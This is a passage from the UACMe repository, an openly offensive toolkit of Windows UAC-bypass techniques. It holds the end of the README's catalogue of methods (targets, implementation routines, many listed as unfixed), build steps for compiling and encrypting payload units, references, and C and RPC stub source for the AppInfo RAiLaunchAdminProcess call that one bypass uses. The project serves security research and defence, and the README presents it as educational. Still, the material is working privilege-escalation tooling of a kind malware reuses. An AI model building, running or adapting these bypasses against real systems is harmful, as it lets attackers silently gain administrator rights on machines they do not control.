      * Code status: removed starting from v3.5.0 :tractor:
58. Author: RinN
     * Type: Elevated COM interface
     * Method: IEditionUpgradeManager
     * Target(s): \system32\clipup.exe
     * Component(s): Attacker defined
     * Implementation: ucmEditionUpgradeManagerMethod
     * Works from: Windows 10 (14393)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.2.0
59. Author: James Forshaw
     * Type: AppInfo ALPC
     * Method: RAiLaunchAdminProcess and DebugObject
     * Target(s): Attacker defined
     * Component(s): Attacker defined
     * Implementation: ucmDebugObjectMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.2.3
60. Author: Enigma0x3 derivative by WinNT/Glupteba
     * Type: Shell API
     * Method: Registry key manipulation
     * Target(s): \system32\CompMgmtLauncher.exe
     * Component(s): Attacker defined
     * Implementation: ucmGluptebaMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS2 (15063)
        * How: CompMgmtLauncher.exe autoelevation removed
      * Code status: removed starting from v3.5.0 :tractor:
61. Author: Enigma0x3/bytecode77 derivative by Nassim Asrir
     * Type: Shell API
     * Method: Registry key manipulation
     * Target(s): \system32\slui.exe, \system32\changepk.exe
     * Component(s): Attacker defined
     * Implementation: ucmShellRegModMethod
     * Works from: Windows 10 (14393)
     * Fixed in: unfixed :see_no_evil:
        * How: -		
      * Code status: added in v3.2.5
62. Author: winscripting.blog
     * Type: Shell API
     * Method: Registry key manipulation
     * Target(s): \system32\computerdefaults.exe
     * Component(s): Attacker defined
     * Implementation: ucmShellRegModMethod
     * Works from: Windows 10 RS4 (17134)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.2.6
63. Author: Arush Agarampur
     * Type: Dll Hijack
     * Method: ISecurityEditor
     * Target(s): Native Image Cache elements
     * Component(s): Attacker defined
     * Implementation: ucmNICPoisonMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.2.7
64. Author: Arush Agarampur
     * Type: Elevated COM interface
     * Method: IIEAxiAdminInstaller, IIEAxiInstaller2, IFileOperation
     * Target(s): IE add-on install cache
     * Component(s): Attacker defined
     * Implementation: ucmIeAddOnInstallMethod
     * Works from: Windows 7 (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.5.1
65. Author: Arush Agarampur
     * Type: Elevated COM interface
     * Method: IWscAdmin
     * Target(s): Shell Protocol Hijack
     * Component(s): Attacker defined
     * Implementation: ucmWscActionProtocolMethod
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 11 24H2 (26100)
        * How: Side effect of Windows changes
      * Code status: added in v3.5.2
66. Author: Arush Agarampur
     * Type: Elevated COM interface
     * Method: IFwCplLua, Shell Protocol Hijack
     * Target(s): Shell protocol registry entry and environment variables
     * Component(s): Attacker defined
     * Implementation: ucmFwCplLuaMethod2
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 11 24H2 (26100)
        * How: Side effect of Windows changes
      * Code status: added in v3.5.3
67. Author: Arush Agarampur
     * Type: Shell API
     * Method: Shell Protocol Hijack
     * Target(s): \system32\fodhelper.exe
     * Component(s): Attacker defined
     * Implementation: ucmMsSettingsProtocolMethod
     * Works from: Windows 10 TH1 (10240)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.5.4
68. Author: Arush Agarampur
     * Type: Shell API
     * Method: Shell Protocol Hijack
     * Target(s): \system32\wsreset.exe
     * Component(s): Attacker defined
     * Implementation: ucmMsStoreProtocolMethod
     * Works from: Windows 10 RS5 (17763)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.5.5
69. Author: Arush Agarampur
     * Type: Shell API
     * Method: Environment variables expansion, Dll Hijack
     * Target(s): \system32\taskhostw.exe
     * Component(s): pcadm.dll
     * Implementation: ucmPcaMethod
     * Works from: Windows 7 (7600)
     * AlwaysNotify compatible
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.5.6
70. Author: V3ded
     * Type: Shell API
     * Method: Registry key manipulation
     * Target(s): \system32\fodhelper.exe, \system32\computerdefaults.exe
     * Component(s): Attacker defined
     * Implementation: ucmShellRegModMethod3
     * Works from: Windows 10 (10240)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.5.7
71. Author: Arush Agarampur
     * Type: Dll Hijack
     * Method: ISecurityEditor
     * Target(s): Native Image Cache elements
     * Component(s): Attacker defined
     * Implementation: ucmNICPoisonMethod2
     * Works from: Windows 7 RTM (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.5.8
72. Author: Emeric Nasi
     * Type: Dll Hijack
     * Method: Dll path search abuse
     * Target(s): \syswow64\msdt.exe, \system32\sdiagnhost.exe
     * Component(s): BluetoothDiagnosticUtil.dll
     * Implementation: ucmMsdtMethod
     * Works from: Windows 10 (10240)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.5.9
73. Author: orange_8361 and antonioCoco
     * Type: Shell API
     * Method: .NET deserialization
     * Target(s): \system32\mmc.exe EventVwr.msc
     * Component(s): Attacker defined
     * Implementation: ucmDotNetSerialMethod
     * Works from: Windows 7 RTM (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.6.0
74. Author: zcgonvh
     * Type: Elevated COM interface
     * Method: IElevatedFactoryServer
     * Target(s): Attacker defined
     * Component(s): Attacker defined
     * Implementation: ucmVFServerTaskSchedMethod
     * Works from: Windows 8.1 (9600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.6.1
75. Author: zcgonvh derivative by Wh04m1001
     * Type: Elevated COM interface
     * Method: IDiagnosticProfile
     * Target(s): Attacker defined
     * Component(s): Attacker defined
     * Implementation: ucmVFServerDiagProfileMethod
     * Works from: Windows 7 RTM (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.6.2
76. Author: HackerHouse
     * Type: Dll Hijack
     * Method: Dll path search abuse, Registry key manipulation
     * Target(s): \syswow64\iscsicpl.exe
     * Component(s): iscsiexe.dll
     * Implementation: ucmIscsiCplMethod
     * Works from: Windows 7 RTM (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.6.3
77. Author: Arush Agarampur
     * Type: Dll Hijack
     * Method: IFileOperation
     * Target(s): \system32\mmc.exe
     * Component(s): atl.dll
     * Implementation: ucmAtlHijackMethod
     * Works from: Windows 7 RTM (7600)
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.6.4
78. Author: antonioCoco
     * Type: Impersonation
     * Method: SSPI Datagram
     * Target(s): Attacker defined
     * Component(s): Attacker defined
     * Implementation: ucmSspiDatagramMethod
     * Works from: Windows 7 RTM (7600)
     * AlwaysNotify compatible
     * Fixed in: Windows 10 (19041), a part of patch, 2024? year
        * How: Side effect of Windows changes
      * Code status: added in v3.6.5
79. Author: James Forshaw and Stefan Kanthak
     * Type: GUI Hack
     * Method: UIPI bypass with token modification
     * Target(s): \system32\osk.exe, \system32\mmc.exe
     * Component(s): Attacker defined
     * Implementation: ucmTokenModUIAccessMethod2
     * Works from: Windows 7 (7600)
     * Fixed in: Windows 10 RS5 (17763), a part of patch, 2024 year
        * How: When integrity level of an UIAccess token is lowered, the UIAccess property is removed
      * Code status: added in v3.6.6
80. Author: R41N3RZUF477
     * Type: Shell API
     * Method: Environment variables expansion, Dll Hijack
     * Target(s): \system32\taskhostw.exe
     * Component(s): PerformanceTraceHandler.dll
     * Implementation: ucmRequestTraceMethod
     * Works from: Windows 11 (26100)
     * AlwaysNotify compatible
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.6.7
81. Author: R41N3RZUF477
     * Type: Shell API
     * Method: Environment variables expansion, Dll Hijack, UIPI bypass
     * Target(s): \system32\QuickAssist.exe
     * Component(s): EmbeddedBrowserWebView.dll
     * Implementation: ucmQuickAssistMethod
     * Works from: Windows 10 (19041)
     * AlwaysNotify compatible
     * Fixed in: unfixed :see_no_evil:
        * How: -
      * Code status: added in v3.6.8

</details>

**Important Notes:**
* Method 30, 63 and later are implemented only in x64 version
* Method 30 requires x64 because it exploits WOW64 subsystem feature
* Method 55 is included primarily for educational purposes and may not be reliable
* Method 78 requires that the current user account password is not blank

## Warning

⚠️ **Important Security and Usage Information**:

* This tool demonstrates **only publicly known UAC bypass methods** used by malware. It reimplements some techniques in different ways to improve upon original concepts.
* **Not intended for antivirus testing** and not guaranteed to work in environments with aggressive security software. Use with active antivirus at your own risk.
* Many antivirus solutions may flag this tool as a "HackTool" - this is expected behavior due to its capabilities.
* **Clean up after usage**: If running on a production system, ensure you remove all program artifacts afterward. See source code for details about files dropped to system folders.
* Most methods were developed primarily for x64 systems. While many can work on x86-32 with minor adjustments, 32-bit support is not a focus of this project.
* For an official Microsoft explanation on why UAC bypasses still exist, see: [Microsoft's stance on UAC](https://devblogs.microsoft.com/oldnewthing/20160816-00/?p=94105)

# Windows 10 support and testing policy
* UACMe is tested only with LSTB/LTSC variants (1607/1809) and the current RTM-1 versions
* For example: if the current version is 2004, it will be tested on 2004 (19041) and the previous 1909 (18363)
* Insider builds are not supported as methods may be fixed in preview releases

# Protection Measures
The most effective protection against UAC bypass techniques is using an account without administrative privileges.

# Build instructions

UACMe is written in C and requires Microsoft Visual Studio 2019 or later to build from source.

### Prerequisites
* **IDE**: Microsoft Visual Studio 2019 or 2022
* **SDK Requirements**:
  * Windows 8.1 or Windows 10 SDK (tested with 19041 version)
  * NET Framework SDK (tested with 4.8 version)

### Build Steps

1. **Configure Platform ToolSet** (Project->Properties->General):
   * For Visual Studio 2019: Select v142
   * For Visual Studio 2022: Select v143

2. **Set Target Platform Version** (Project->Properties->General):
   * For v140: Select 8.1 (Windows 8.1 SDK must be installed)
   * For v141 and above: Select 10

3. **Build Process**:
   * Compile payload units
   * Compile Naka module
   * Encrypt all payload units using Naka module
   * Generate secret blobs for these units using Naka module
   * Move compiled units and secret blobs to the Akagi\Bin directory
   * Rebuild Akagi

> **Note**: Compiled binaries are not provided and will never be provided. This serves as a barrier against malicious usage and helps maintain the educational purpose of this project.

## Legal Disclaimer

* This tool is provided for **educational and research purposes only**
* We do not take any responsibility for this tool being used in malicious activities
* We have no affiliation with any "security company" using this code for commercial activities
* This GitHub repository (hfiref0x/UACME) is the only genuine source for UACMe code

# Support

If you find this project interesting, you can buy me a coffee

BTC (Bitcoin): bc1qzkvtpa0053cagf35dqmpvv9k8hyrwl7krwdz84q39mcpy68y6tmqsju0g4
  
# References

* Windows 7 UAC whitelist, http://www.pretentiousname.com/misc/win7_uac_whitelist2.html
* Malicious Application Compatibility Shims, https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
* Junfeng Zhang from WinSxS dev team blog, https://blogs.msdn.microsoft.com/junfeng/
* Beyond good ol' Run key, series of articles, http://www.hexacorn.com/blog
* KernelMode.Info UACMe thread, https://www.kernelmode.info/forum/viewtopicf985.html?f=11&t=3643
* Command Injection/Elevation - Environment Variables Revisited, https://breakingmalware.com/vulnerabilities/command-injection-and-elevation-environment-variables-revisited
* "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking, https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
* Bypassing UAC on Windows 10 using Disk Cleanup, https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
* Using IARPUninstallStringLauncher COM interface to bypass UAC, http://www.freebuf.com/articles/system/116611.html
* Bypassing UAC using App Paths, https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/
* "Fileless" UAC Bypass using sdclt.exe, https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/
* UAC Bypass or story about three escalations, https://habrahabr.ru/company/pm/blog/328008/
* Exploiting Environment Variables in Scheduled Tasks for UAC Bypass, https://tyranidslair.blogspot.ru/2017/05/exploiting-environment-variables-in.html
* First entry: Welcome and fileless UAC bypass, https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/
* Reading Your Way Around UAC in 3 parts:
   1. https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-1.html
   2. https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-2.html
   3. https://tyranidslair.blogspot.ru/2017/05/reading-your-way-around-uac-part-3.html 
* Research on CMSTP.exe, https://msitpros.com/?p=3960
* UAC bypass via elevated .NET applications, https://offsec.provadys.com/UAC-bypass-dotnet.html
* UAC Bypass by Mocking Trusted Directories, https://medium.com/tenable-techblog/uac-bypass-by-mocking-trusted-directories-24a96675f6e
* Yet another sdclt UAC bypass, http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass
* UAC Bypass via SystemPropertiesAdvanced.exe and DLL Hijacking, https://egre55.github.io/system-properties-uac-bypass/
* Accessing Access Tokens for UIAccess, https://tyranidslair.blogspot.com/2019/02/accessing-access-tokens-for-uiaccess.html
* Fileless UAC Bypass in Windows Store Binary, https://www.activecyber.us/1/post/2019/03/windows-uac-bypass.html
* Calling Local Windows RPC Servers from .NET, https://googleprojectzero.blogspot.com/2019/12/calling-local-windows-rpc-servers-from.html
* Microsoft Windows 10 UAC bypass local privilege escalation exploit, https://packetstormsecurity.com/files/155927/Microsoft-Windows-10-Local-Privilege-Escalation.html
* UACMe 3.5, WD and the ways of mitigation, https://swapcontext.blogspot.com/2020/10/uacme-35-wd-and-ways-of-mitigation.html
* UAC bypasses from COMAutoApprovalList, https://swapcontext.blogspot.com/2020/11/uac-bypasses-from-comautoapprovallist.html
* Utilizing Programmatic Identifiers (ProgIDs) for UAC Bypasses, https://v3ded.github.io/redteam/utilizing-programmatic-identifiers-progids-for-uac-bypasses
* MSDT DLL Hijack UAC bypass, https://blog.sevagas.com/?MSDT-DLL-Hijack-UAC-bypass
* UAC bypass through .Net Deserialization vulnerability in eventvwr.exe, https://twitter.com/orange_8361/status/1518970259868626944
* Advanced Windows Task Scheduler Playbook - Part.2 from COM to UAC bypass and get SYSTEM directly, http://www.zcgonvh.com/post/Advanced_Windows_Task_Scheduler_Playbook-Part.2_from_COM_to_UAC_bypass_and_get_SYSTEM_dirtectly.html
* Bypassing UAC with SSPI Datagram Contexts, https://splintercod3.blogspot.com/p/bypassing-uac-with-sspi-datagram.html
* Mitigate some Exploits for Windows’® UAC, https://skanthak.hier-im-netz.de/uacamole.html

# Authors

(c) 2014 - 2026 UACMe Project


================================================
FILE: Source/Akagi/aic.c
================================================
/*******************************************************************************
*
*  (C) COPYRIGHT AUTHORS, 2017 - 2026
*
*  TITLE:       AIC.C
*
*  VERSION:     3.69
*
*  DATE:        12 Feb 2026
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"

#ifdef _WIN64
#include "appinfo/x64/appinfo64.h"
#else
#include "appinfo/x86-32/appinfo32.h"
#endif

/*
* AicpAsyncInitializeHandle
*
* Purpose:
*
* Init RPC_ASYNC_STATE structure.
*
*/
RPC_STATUS AicpAsyncInitializeHandle(
    _Inout_ RPC_ASYNC_STATE* AsyncState)
{
    RPC_STATUS status;

    status = RpcAsyncInitializeHandle(AsyncState, sizeof(RPC_ASYNC_STATE));
    if (status == RPC_S_OK) {
        AsyncState->NotificationType = RpcNotificationTypeEvent;
        AsyncState->u.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
        if (AsyncState->u.hEvent == NULL)
            status = GetLastError();
    }

    return status;
}

/*
* AicpAsyncCloseHandle
*
* Purpose:
*
* Close RPC_ASYNC_STATE notification event.
*
*/
VOID AicpAsyncCloseHandle(
    _Inout_ RPC_ASYNC_STATE* AsyncState)
{
    if (AsyncState->u.hEvent) {
        CloseHandle(AsyncState->u.hEvent);
        AsyncState->u.hEvent = NULL;
    }
}

/*
* AicLaunchAdminProcess
*
* Purpose:
*
* Create process by talking to APPINFO via RPC.
*
*/
BOOLEAN AicLaunchAdminProcess(
    _In_opt_ LPWSTR ExecutablePath,
    _In_opt_ LPWSTR CommandLine,
    _In_ DWORD StartFlags,
    _In_ DWORD CreationFlags,
    _In_ LPWSTR CurrentDirectory,
    _In_ LPWSTR WindowStation,
    _In_opt_ HWND hWnd,
    _In_ DWORD Timeout,
    _In_ DWORD ShowFlags,
    _Out_ PROCESS_INFORMATION* ProcessInformation
)
{
    BOOLEAN bResult = FALSE;
    RPC_BINDING_HANDLE rpcHandle;
    RPC_ASYNC_STATE asyncState;
    APP_PROCESS_INFORMATION procInfo;
    APP_STARTUP_INFO appStartup;
    RPC_STATUS status;
    VOID* Reply = NULL;

    LONG elevationType = 0;

    if (ProcessInformation) {
        ProcessInformation->hProcess = NULL;
        ProcessInformation->hThread = NULL;
        ProcessInformation->dwProcessId = 0;
        ProcessInformation->dwThreadId = 0;
    }

    RtlSecureZeroMemory(&procInfo, sizeof(procInfo));
    RtlSecureZeroMemory(&appStartup, sizeof(appStartup));

    appStartup.dwFlags = STARTF_USESHOWWINDOW;
    appStartup.wShowWindow = (SHORT)ShowFlags;

    RtlSecureZeroMemory(&asyncState, sizeof(RPC_ASYNC_STATE));

    if ((supCreateBindingHandle(APPINFO_RPC, &rpcHandle) == RPC_S_OK) &&
        (AicpAsyncInitializeHandle(&asyncState) == RPC_S_OK))
    {

        __try {

            RAiLaunchAdminProcess(&asyncState,
                rpcHandle,
                ExecutablePath,
                CommandLine,
                StartFlags,
                CreationFlags,
                CurrentDirectory,
                WindowStation,
                &appStartup,
                (ULONG_PTR)hWnd,
                Timeout,
                &procInfo,
                &elevationType);

            if (WaitForSingleObject(asyncState.u.hEvent, INFINITE) == WAIT_FAILED)
            {
                RpcRaiseException(-1);
            }

            status = RpcAsyncCompleteCall(&asyncState, &Reply);
            if (status == 0 && Reply == NULL) {

                if (ProcessInformation) {
                    ProcessInformation->hProcess = (HANDLE)procInfo.ProcessHandle;
                    ProcessInformation->hThread = (HANDLE)procInfo.ThreadHandle;
                    ProcessInformation->dwProcessId = (DWORD)procInfo.ProcessId;
                    ProcessInformation->dwThreadId = (DWORD)procInfo.ThreadId;
                }

                bResult = TRUE;

            }

            AicpAsyncCloseHandle(&asyncState);

        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            AicpAsyncCloseHandle(&asyncState);
            RpcBindingFree(&rpcHandle);
            SetLastError(RpcExceptionCode());
            return FALSE;
        }

        RpcBindingFree(&rpcHandle);
    }

    return bResult;
}


================================================
FILE: Source/Akagi/aic.h
================================================
/*******************************************************************************
*
*  (C) COPYRIGHT AUTHORS, 2017 - 2020
*
*  TITLE:       AIC.H
*
*  VERSION:     3.23
*
*  DATE:        17 Dec 2019
*
*  Common header file for the AppInfo routines.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#pragma once

typedef ULONG ELEVATION_REASON;

BOOLEAN AicLaunchAdminProcess(
    _In_opt_ LPWSTR ExecutablePath,
    _In_opt_ LPWSTR CommandLine,
    _In_ DWORD StartFlags,
    _In_ DWORD CreationFlags,
    _In_ LPWSTR CurrentDirectory,
    _In_ LPWSTR WindowStation,
    _In_opt_ HWND hWnd,
    _In_ DWORD Timeout,
    _In_ DWORD ShowFlags,
    _Out_ PROCESS_INFORMATION* ProcessInformation);


================================================
FILE: Source/Akagi/akagi.manifest
================================================
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3">
    <assemblyIdentity 
        type="win32" 
        name="Akagi"
        version="1.0.0.0"
        processorArchitecture="*"
    />
    <description>Akagi was an aircraft carrier of the Imperial Japanese Navy (IJN), named after Mount Akagi in present-day Gunma Prefecture.</description>
    <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
        <security>
            <requestedPrivileges>
                <requestedExecutionLevel
                    level="asInvoker"
                    uiAccess="false"
                />	
            </requestedPrivileges>
        </security>
    </trustInfo>  
  <dependency>
    <dependentAssembly>
      <assemblyIdentity                 
        type="win32"
        name="Microsoft.Windows.Common-Controls"
        version="6.0.0.0"
        publicKeyToken="6595b64144ccf1df"
        language="*"
        processorArchitecture="*"
        />
    </dependentAssembly>
  </dependency>

</assembly>

================================================
FILE: Source/Akagi/appinfo/appinfo.acf
================================================
interface LaunchAdminProcess
{	
	[async] RAiLaunchAdminProcess();
}

================================================
FILE: Source/Akagi/appinfo/appinfo.idl
================================================
import "oaidl.idl";
import "ocidl.idl";

[
uuid(201ef99a-7fa0-444c-9399-19ba84f12a1a),
version(1.0),
]
interface LaunchAdminProcess
{

	typedef struct _MONITOR_POINT {
		long MonitorLeft;
		long MonitorRight;
	} MONITOR_POINT;

	typedef struct _APP_STARTUP_INFO {
		wchar_t* lpszTitle;
		long dwX;
		long dwY;
		long dwXSize;
		long dwYSize;
		long dwXCountChars;
		long dwYCountChars;
		long dwFillAttribute;
		long dwFlags;
		short wShowWindow;
		struct _MONITOR_POINT MonitorPoint;
	} APP_STARTUP_INFO;

	typedef struct _APP_PROCESS_INFORMATION {
		unsigned __int3264 ProcessHandle;
		unsigned __int3264 ThreadHandle;
		long  ProcessId;
		long  ThreadId;
	} APP_PROCESS_INFORMATION;

	long RAiLaunchAdminProcess(
		handle_t hBinding,
		[in][unique][string] wchar_t* ExecutablePath,
		[in][unique][string] wchar_t* CommandLine,
		[in]long StartFlags,
		[in]long CreationFlags,
		[in][string] wchar_t* CurrentDirectory,
		[in][string] wchar_t* WindowStation,
		[in]struct _APP_STARTUP_INFO* StartupInfo,
		[in]unsigned __int3264 hWnd,
		[in]long Timeout,
		[out]struct _APP_PROCESS_INFORMATION* ProcessInformation,
		[out]long* ElevationType);

}

================================================
FILE: Source/Akagi/appinfo/x64/appinfo64.c
================================================


/* this ALWAYS GENERATED file contains the RPC client stubs */


 /* File created by MIDL compiler version 8.01.0622 */
/* at Mon Jan 18 19:14:07 2038
 */
/* Compiler settings for appinfo.idl:
    Oicf, W1, Zp8, env=Win64 (32b run), target_arch=AMD64 8.01.0622 
    protocol : dce , ms_ext, c_ext, robust
    error checks: allocation ref bounds_check enum stub_data 
    VC __declspec() decoration level: 
         __declspec(uuid()), __declspec(selectany), __declspec(novtable)
         DECLSPEC_UUID(), MIDL_INTERFACE()
*/
/* @@MIDL_FILE_HEADING(  ) */

#if defined(_M_AMD64)


#pragma warning( disable: 4049 )  /* more than 64k source lines */
#if _MSC_VER >= 1200
#pragma warning(push)
#endif

#pragma warning( disable: 4211 )  /* redefine extern to static */
#pragma warning( disable: 4232 )  /* dllimport identity*/
#pragma warning( disable: 4024 )  /* array to pointer mapping*/

#include "appinfo64.h"

#define TYPE_FORMAT_STRING_SIZE   75                                
#define PROC_FORMAT_STRING_SIZE   103                               
#define EXPR_FORMAT_STRING_SIZE   1                                 
#define TRANSMIT_AS_TABLE_SIZE    0            
#define WIRE_MARSHAL_TABLE_SIZE   0            

typedef struct _appinfo_MIDL_TYPE_FORMAT_STRING
    {
    short          Pad;
    unsigned char  Format[ TYPE_FORMAT_STRING_SIZE ];
    } appinfo_MIDL_TYPE_FORMAT_STRING;

typedef struct _appinfo_MIDL_PROC_FORMAT_STRING
    {
    short          Pad;
    unsigned char  Format[ PROC_FORMAT_STRING_SIZE ];
    } appinfo_MIDL_PROC_FORMAT_STRING;

typedef struct _appinfo_MIDL_EXPR_FORMAT_STRING
    {
    long          Pad;
    unsigned char  Format[ EXPR_FORMAT_STRING_SIZE ];
    } appinfo_MIDL_EXPR_FORMAT_STRING;


static const RPC_SYNTAX_IDENTIFIER  _RpcTransferSyntax = 
{{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}};


extern const appinfo_MIDL_TYPE_FORMAT_STRING appinfo__MIDL_TypeFormatString;
extern const appinfo_MIDL_PROC_FORMAT_STRING appinfo__MIDL_ProcFormatString;
extern const appinfo_MIDL_EXPR_FORMAT_STRING appinfo__MIDL_ExprFormatString;

#define GENERIC_BINDING_TABLE_SIZE   0            


/* Standard interface: LaunchAdminProcess, ver. 1.0,
   GUID={0x201ef99a,0x7fa0,0x444c,{0x93,0x99,0x19,0xba,0x84,0xf1,0x2a,0x1a}} */



static const RPC_CLIENT_INTERFACE LaunchAdminProcess___RpcClientInterface =
    {
    sizeof(RPC_CLIENT_INTERFACE),
    {{0x201ef99a,0x7fa0,0x444c,{0x93,0x99,0x19,0xba,0x84,0xf1,0x2a,0x1a}},{1,0}},
    {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}},
    0,
    0,
    0,
    0,
    0,
    0x00000000
    };
RPC_IF_HANDLE LaunchAdminProcess_v1_0_c_ifspec = (RPC_IF_HANDLE)& LaunchAdminProcess___RpcClientInterface;

extern const MIDL_STUB_DESC LaunchAdminProcess_StubDesc;

static RPC_BINDING_HANDLE LaunchAdminProcess__MIDL_AutoBindHandle;


/* [async] */ void  RAiLaunchAdminProcess( 
    /* [in] */ PRPC_ASYNC_STATE RAiLaunchAdminProcess_AsyncHandle,
    handle_t hBinding,
    /* [string][unique][in] */ wchar_t *ExecutablePath,
    /* [string][unique][in] */ wchar_t *CommandLine,
    /* [in] */ long StartFlags,
    /* [in] */ long CreationFlags,
    /* [string][in] */ wchar_t *CurrentDirectory,
    /* [string][in] */ wchar_t *WindowStation,
    /* [in] */ struct _APP_STARTUP_INFO *StartupInfo,
    /* [in] */ unsigned __int3264 hWnd,
    /* [in] */ long Timeout,
    /* [out] */ struct _APP_PROCESS_INFORMATION *ProcessInformation,
    /* [out] */ long *ElevationType)
{

    NdrAsyncClientCall(
                      ( PMIDL_STUB_DESC  )&LaunchAdminProcess_StubDesc,
                      (PFORMAT_STRING) &appinfo__MIDL_ProcFormatString.Format[0],
                      RAiLaunchAdminProcess_AsyncHandle,
                      hBinding,
                      ExecutablePath,
                      CommandLine,
                      StartFlags,
                      CreationFlags,
                      CurrentDirectory,
                      WindowStation,
                      StartupInfo,
                      hWnd,
                      Timeout,
                      ProcessInformation,
                      ElevationType);
    
}


#if !defined(__RPC_WIN64__)
#error  Invalid build platform for this stub.
#endif

static const appinfo_MIDL_PROC_FORMAT_STRING appinfo__MIDL_ProcFormatString =
    {
        0,
        {

	/* Procedure RAiLaunchAdminProcess */

			0x0,		/* 0 */
			0x48,		/* Old Flags:  */
/*  2 */	NdrFcLong( 0x0 ),	/* 0 */
/*  6 */	NdrFcShort( 0x0 ),	/* 0 */
/*  8 */	NdrFcShort( 0x70 ),	/* X64 Stack size/offset = 112 */
/* 10 */	0x32,		/* FC_BIND_PRIMITIVE */
			0x0,		/* 0 */
/* 12 */	NdrFcShort( 0x8 ),	/* X64 Stack size/offset = 8 */
/* 14 */	NdrFcShort( 0x20 ),	/* 32 */
/* 16 */	NdrFcShort( 0x24 ),	/* 36 */
/* 18 */	0xc7,		/* Oi2 Flags:  srv must size, clt must size, has return, has ext, has async handle */
			0xc,		/* 12 */
/* 20 */	0xa,		/* 10 */
			0x1,		/* Ext Flags:  new corr desc, */
/* 22 */	NdrFcShort( 0x0 ),	/* 0 */
/* 24 */	NdrFcShort( 0x0 ),	/* 0 */
/* 26 */	NdrFcShort( 0x0 ),	/* 0 */
/* 28 */	NdrFcShort( 0x0 ),	/* 0 */

	/* Parameter ExecutablePath */

/* 30 */	NdrFcShort( 0xb ),	/* Flags:  must size, must free, in, */
/* 32 */	NdrFcShort( 0x10 ),	/* X64 Stack size/offset = 16 */
/* 34 */	NdrFcShort( 0x2 ),	/* Type Offset=2 */

	/* Parameter CommandLine */

/* 36 */	NdrFcShort( 0xb ),	/* Flags:  must size, must free, in, */
/* 38 */	NdrFcShort( 0x18 ),	/* X64 Stack size/offset = 24 */
/* 40 */	NdrFcShort( 0x2 ),	/* Type Offset=2 */

	/* Parameter StartFlags */

/* 42 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
/* 44 */	NdrFcShort( 0x20 ),	/* X64 Stack size/offset = 32 */
/* 46 */	0x8,		/* FC_LONG */
			0x0,		/* 0 */

	/* Parameter CreationFlags */

/* 48 */	NdrFcShort( 0x48 ),	/* Flags:  in, base type, */
/* 50 */	NdrFcShort( 0x28 ),	/* X64 Stack size/offset = 40 */
/* 52 */	0x8,		/* FC_LONG */
			0x0,		/* 0 */

	/* Parameter CurrentDirectory */

/* 54 */	NdrFcShort( 0x10b ),	/* Flags:  must size, must free, in, simple ref, */
/* 56 */	NdrFcShort( 0x30 ),	/* X64 Stack size/offset = 48 */
/* 58 */	NdrFcShort( 0x8 ),	/* Type Offset=8 */

	/* Parameter WindowStation */

/* 60 */	NdrFcShort( 0x10b ),	/* Flags:  must size, must free, in, simple ref, */
/* 62 */	NdrFcShort( 0x38 ),	/* X64 Stack size/offset = 56 */
/* 64 */	NdrFcShort( 0x8 ),	/* Type Offset=8 */

	/* Parameter StartupInfo */

/* 66 */	NdrFcShort( 0x10b ),	/* Flags:  must size, must free, in, simple ref, */
/* 68 */	NdrFcShort( 0x40 ),	/* X64 Stack size/offset = 64 */
